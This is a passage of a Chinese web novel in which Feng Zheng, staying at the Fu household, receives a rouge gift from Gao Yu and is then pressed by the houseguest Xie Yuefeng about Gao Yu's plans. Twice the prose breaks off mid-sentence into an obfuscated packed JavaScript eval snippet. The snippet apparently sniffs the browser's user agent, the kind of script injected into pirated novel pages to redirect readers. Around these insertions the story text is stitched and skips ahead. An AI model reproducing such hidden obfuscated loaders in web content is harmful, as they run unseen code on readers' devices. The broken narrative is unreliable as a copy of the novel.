素荷摇摇头,“也不是什么厉害的来历。他是太府寺的协律郎,也是老爷生前最亲的学生之一,每年这几天,都会告假过来祭奠老爷,经常留宿,关系走熟了,郎君索性就拨出了西厢。” 一缕耳熟的念头划过脑海,回过神琢磨的时候却没捉住,冯筝没多问了,专心对付自己的午膳。 符老爷葬在祖陵,据说庆帝挽贤,曾有意留其骸骨葬城隍陵,因为不符合宗庙礼制,才由符家人扶柩归乡。 符老爷忌辰这天,用作祭奠的长明灯,由慈恩寺的僧弥描经诵经,符乡君和谢阅丰等人亲自去取,留了少夫人和几个仆妇照看家里,一天都不会回来。 后厨的厨役依照安排,给表姑娘开的小灶每天都不重样,知道她在吃药膳,少沾荤腥,就把淮阳的时蔬糕果都做了个遍,冯筝时不时尝到夜宵,隔天一早也没觉得饿。 府邸空落落的,郑琬带着仆妇来厢房看她,问她被褥够不够暖,说库房还有件鹅绒被,从娘家带来的,一直没用过,冯筝说不麻烦了。郑琬握了握她的手,热乎柔软,就没多余去取,见她腮颊带粉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“跟夫家磨合,学问不少,能理解和体谅的事,互相包容一下没什么不好。我嫁进符家这些年,虽说没个妯娌帮衬,但府里拢共就那么些人,管起来不费神,想来这就是人口简单的好处了。” 郑琬说完一路的话,冯筝看出她疲惫,“是不是哪里不舒服?累了我们就回去吧。” 郑琬强打精神说不用,她并无不适,只是昨晚睡得晚。想起半夜,邺郎缠着她没准她睡,郑琬脸色微红,忍不住讲人口简单也有压力,成亲后一直无所出,还不是要为子嗣发愁。 意识到自己在闺秀跟前说了多余的,郑琬及时打住,想了想也就让它过去了。 “听我絮叨这些,得烦闷了吧,这个时节莲子熟得差不多了,回去叫厨娘给咱们炖莲枣羹,咱姑嫂两个再好好说话。” 冯筝含笑道好,其实不怎么介意。那天哄表姑母的时候,看见了他们夫妻耳鬓厮磨,那谢阅丰被秀了一脸,脸色好不精彩,丢下茶盏就溜出了膳堂。 符府青檐斗拱,隔绝街巷嘈杂,要回主院的郑琬与冯筝顺路,厢房门前,冯筝见到了个眼熟的身影。 自从登门那天被安置在配院,两护卫就没机会露面,元值早就在等,见少夫人带姑娘回了,直接迎过去。 郑琬看到他怀中之物,料冯筝有私事,转头先走了,元值将怀中的妆牍转交给冯筝,一时间也没舍得走。 他表情拧巴地说了两个时辰前,高豫交待他送东西的事,冯筝乍一听还有些惊讶。 他的事竟这么快就办完了? 牍盒四壁雕花,铜锁虚扣着,还是同心锁,里面尽是些胭脂水粉,她眼神微动,挑出胭脂来回翻看,元值转述完,不太想留,刚抬脚,就听到冯筝狐疑的声音。 “你是说,他找淮州观察司的人算完账,随便路过了一家脂粉铺,又随随便便,买到了跟我在扶陵糟蹋掉的一模一样的石榴珠胭脂?” 他的脚步猛一停顿。 “元值,你不老实。” 38. 第38章 元值沉默片刻,勉强露出笑脸,去除私自增加的随便二字,把高豫的话重新转述了一遍。 这回如实以告,“简而言之,他一直留意着物色这些,存心送你礼。若非知道之前那枚胭脂,是你救他的时候糟蹋掉的,他这一出算赔罪,我几乎要以为,他在觊觎你所以讨你欢心。” 莲塘附近尘泥多,这趟尘扑扑地回来,还需换衣裳,陪郑琬去主院尝莲枣羹,冯筝没空理会他的胡思乱想,把胭脂放进钿盒收好。 提步回房,正思索放在箱笼还是镜台,就察觉刚刚还急着走的护卫,此刻仍站在门边没动。 冯筝疑惑地走了出来,元值迟疑了下,换了副口吻。 “你怎么不问问我,他找来的时候,有没有跟符家的人碰过面?” 元值不是无缘无故多事的性格,冯筝不清楚他何出此言,却能揣摩到深意。此趟远道而来,在符府看来,同行的只有两个护卫,如果高豫登门来找,被符家人知道她还有伴驾……他刚刚写完状纸,应该不太想暴露行踪,所以只能是意外被谁撞见。 因着符老爷忌辰,符夫人和符邺去了慈恩寺取灯,用完素斋才回,郑琬有她全程陪着,也没瞧过高豫的影,唯独不确定门房的家丁,这群人皆符府耳目,难保不会在符邺跟前多言。 冯筝思绪微转,思考起帮高豫隐匿来意的必要,未曾想她猜错了。 照元值坦白,高豫跟他交代完就走了,他带着钿盒要回,发现一个小厮藏在墙角鬼鬼祟祟。 “后来也就是半个时辰前,他家郎君约我到西厢,请我喝了盏茶。” 元值深深看她一眼,如同压力给到冯筝身上,“那人来者不善,貌似和高家有什么恩怨,他的茶水我没碰,能说的不能说的我都没说,东西也藏得好好的,所以请姑娘小心,接下来可能是你的难关。” 元值所言符家的人非彼符家人,确切来说,西厢的那位只算住客。 去往慈恩寺的众人是披着晚霞回来的,不包括提前回来的谢阅丰主仆。按照旧俗,祭奠符老爷的长明灯,经僧弥描经赐福,要在各院挂满十二个时辰,等全部移到祠堂,忌辰已经过去一天。 昨日符邺在慈恩寺用完素斋,就直接带管事去了祖陵,清晨才归家,郑琬出门向慈恩寺善捐,冯筝无事便陪着去了,返程回府,正好遇到向主院走的谢阅丰主仆。 小径两旁都是篱栏,谢阅丰走得稍快,快撞上了也没绕道,冯筝留意到前面,她毫无波澜的眼睛轻瞥而过,侧身让了让,又转头跟郑琬如常交谈。 郑琬没注意到这些,还在说斋堂的清粥索然无味,冯筝答僧人茹素,口腹之欲会弱一些,神情清闲自然,根本没意识到自己惹了多大的祸。 谢阅丰停步回看她一眼,朝前而去,找到符邺跟前。 对于这位共赴慈恩寺取灯,结果接到小厮耳语,就借称有事先走一步的人,此刻突然来找,符邺以为他是来告辞的。 谢阅丰主动坐下,握着扶手郁闷隐忍,符邺眉头微锁,就见他挥退小厮,好一顿倾诉。 “老师视我为半子,他待我不薄,我亦向来尊师重道,符兄,我对老师的敬爱不亚于你。” 符邺被他没头没尾的话弄得有些懵,眼缝微眯,无意跟父亲的门生争高低亲疏,“行,我认,你满意就好。” 谢阅丰非但不满意,反而凄怆痛恨,“符兄远在淮阳,可能不知道,当朝礼部要员多是我同门。江南旧案祸及大半个礼部,去年下赴江南的内帘外帘,包括受卷官、弥封官在内的礼部诸位,全部被三司打落囹圄,他们每处置一批官吏,老师的名节就要被贬损一遍,那群老儒臣,贬得老师体无完肤……” 想起去年礼部院前,他为师兄弟挽尊,谴责慎刑司的人动粗,反被他们扔到白璧阶下的情形,谢阅丰露出屈辱神色。 白璧阶很短,皂靴停在眼前,那人凤眼深邃,一句“碍事讨打”,让他每逢阴沉天,针扎似的隐痛爬遍腿骨。 他阴恻恻转过头来,“符兄可知,那天洪徵明出门公干,捕我那些同门师兄弟时,穿的什么衣,列的究竟哪副阵仗?” 品级官员外出公干,可从衣冠制度窥得一丝端倪,这位殿前宠臣也不例外。 刑科衙门,历来配制两副官衣,他若绛纱襕袍,便是手持金简请人过衙,穿的皂黑刑袍,则是妥妥的清理门户。 符邺粗略知道里面的讲究,听懂他在抱怨什么,眼皮也跟着跳动两下。 “他一身黑袍闯入礼部,走街把人送押诰狱,一点情面也没留。阵仗闹得太多人围观,老师清誉被毁,除了那群醇儒,连百姓都议论他授业有失,可怜他鞠躬尽瘁,死了还要被人诋毁,更可恨那佞臣高平缮品行不端,一手造就舞弊大案,连累老师受此大辱!” 洪徵明非善茬,高平缮也不是善类……他把这些人通通怪了个遍,唯独不提他那些被捕的同门犯没犯错,犯错的师兄弟该不该杀。 谢阅丰眼含哀痛,符邺安抚他,拿出珍藏的茶降降躁郁,禄山茶味苦,涩意沉在喉咙,憋得谢阅丰好半晌才缓过劲来,符邺耳根倒是清静了不少。 应对夜里转凉,东西厢房都翻新了被褥,冯筝迟迟回房,发现新换的被单夹了棉絮。 哪怕她出门落锁,也拦不住做事的仆婢,素荷把寝具安置好,问过安就退下,冯筝下意识瞥过桌前的字帖,猛地转过头来。 “除了你之外,还有谁来过了?” 素荷弹了弹脑门,“瞧我这记性。奴婢来换被褥的时候,谢郎君路过窗前,翻了翻您的字帖,叮嘱奴婢说,如果表姑娘问起来就告诉您,他在书道方面颇有造诣,表姑娘若喜欢练字,随时都可以向他请教。” 冯筝站在桌前,情绪难免紧张。 字帖中间,夹着那晚相会时,高豫压在她枕下的手稿,手稿笔锋悍劲,数起官宦连名带姓的,若被他人窥破,容易引来祸事,好在整整一摞字帖,那人只抽去了第一页,往下没有翻动的痕迹。 显而易见,这是介于陪郑琬出门,到小径遇到他之间发生的事。 谢阅丰递出橄榄枝,摆明了等她前去话谈,以他经过小径时那张平静无波的脸,谁能看得出,背后竟有这种冒昧无礼的举动。 西厢庭芜,从主院回来的谢阅丰用清茶压苦,身前摆一张卷腿桌,三个小厮伺候着笔墨,谢阅丰朝她看过来,手指捏着张被她写满楷字的纸,第一句便蓄意揭短。 “姑娘相貌雅致,笔迹竟这般粗糙,冯家府第不寒微,难道就没请过先生?” 谢阅丰站起来,意图昭然若揭,“既然爱练簪花小楷,索性拜我为师,我拨冗点拨你一二,而你作为学生,需对我知无不言,言无不尽,如何?” 冯筝没搭练字的腔,“你试图施舍些优待,借我打听高三郎君的动向,却也不先问问,我跟他是不是一路人呢?” 谢阅丰觉得好笑,直言高相惹得龙颜大怒,后嗣皆被剥除贡举资格,高豫没有出头之日,这样家门不幸的人,不可能有人会站他这边。 冯筝辩无可辩,跟这种自视甚高的家伙没什么好说的,但谢阅丰岂能让她好走,大步绕到跟前,“他乃罪臣后嗣,脱罪后不选择隐居,四处招摇肯定是要举事,冯姑娘与他相熟,想必会知道一些内情。” 冯筝手夺字帖,他抬手虚晃,塞进前襟,她假意争了争,领会到他确实没翻到手稿,安心许多,不欲纠缠,扭头就走,谢阅丰暗掐扳指。 “昨日符府外,高豫和你的随从接头,让他把东西转交于你,他冲你而来,如此相知相熟,还想撇清关系糊弄我吗?” 冯筝停步回头,谢阅丰终于把她问住,没打算停歇,继续威逼。 “你在此地回我的话,句句都是躲闪推搪,他的事你一定知情,敢不敢去人前辩上一辩?” 冯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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符管事眼瞳缩动,谢郎君是老爷爱徒,连夫人都给三分薄面,表姑娘嘲他毫无廉耻,这纷争还是挑起来了。 谢阅丰得到回应,脸色不悦却颇觉自满。 “冯姑娘不用转移话题,你跟高豫交情不浅,自然帮他说话。州郡部衙,裙带联结关系错综复杂,他若找到门路,复官复荫也不无可能。高豫来淮阳的筹谋,你表现得毫不知情,现在却敢替他澄清,你一定知道些什么。” “之前在我院中,你百般回避跟他的关系,似乎装作跟他不熟,可他不辞辛劳走这么远,来到符府门前与你交接,这你怎么解释?” “他献礼买好你,是想借你疏通符家人脉,助他复官复荫,还是说根本藏着更大的图谋?” “他为什么来找你,到底存的什么心思,以至于令你这样讳莫如深,冯姑娘请给句实话!” 冯筝敛容抿了抿茶,有些烦闷横生枝节,高豫向此地观察使讨债,递状纸的事情绝不能讲,让谢阅丰就这么完胜也很憋屈。 符家众人都没出声,谢阅丰步步逼问,她就冷静看着他耀武扬威地走来。 思绪变得很慢,元值送钿盒时扭捏的表情,以及那句觊觎她的歪理划过脑海,她不假思索地抚裙起身,“因为……” “因为什么?” 伸手从荷包里翻出胭脂,冯筝递出来,“因为他太爱我了。” 满堂人凝神静气地惊住,谢阅丰脚步一僵,迟钝看向她掌心,釉面精致,描花镂银,是最讨姑娘芳心的款式。 冯筝看着他,不得已露出羞涩的笑,“他护送我到淮阳,见我平安,又到最贵的珠翠阁物色胭脂水粉。他来意在我,找到符府,想求娶我,硬要对我私相授受,这枚胭脂只是其中一件,珠翠阁的钿盒还在我屋里摆着呢,你若想看,叫素荷引你去便是了。”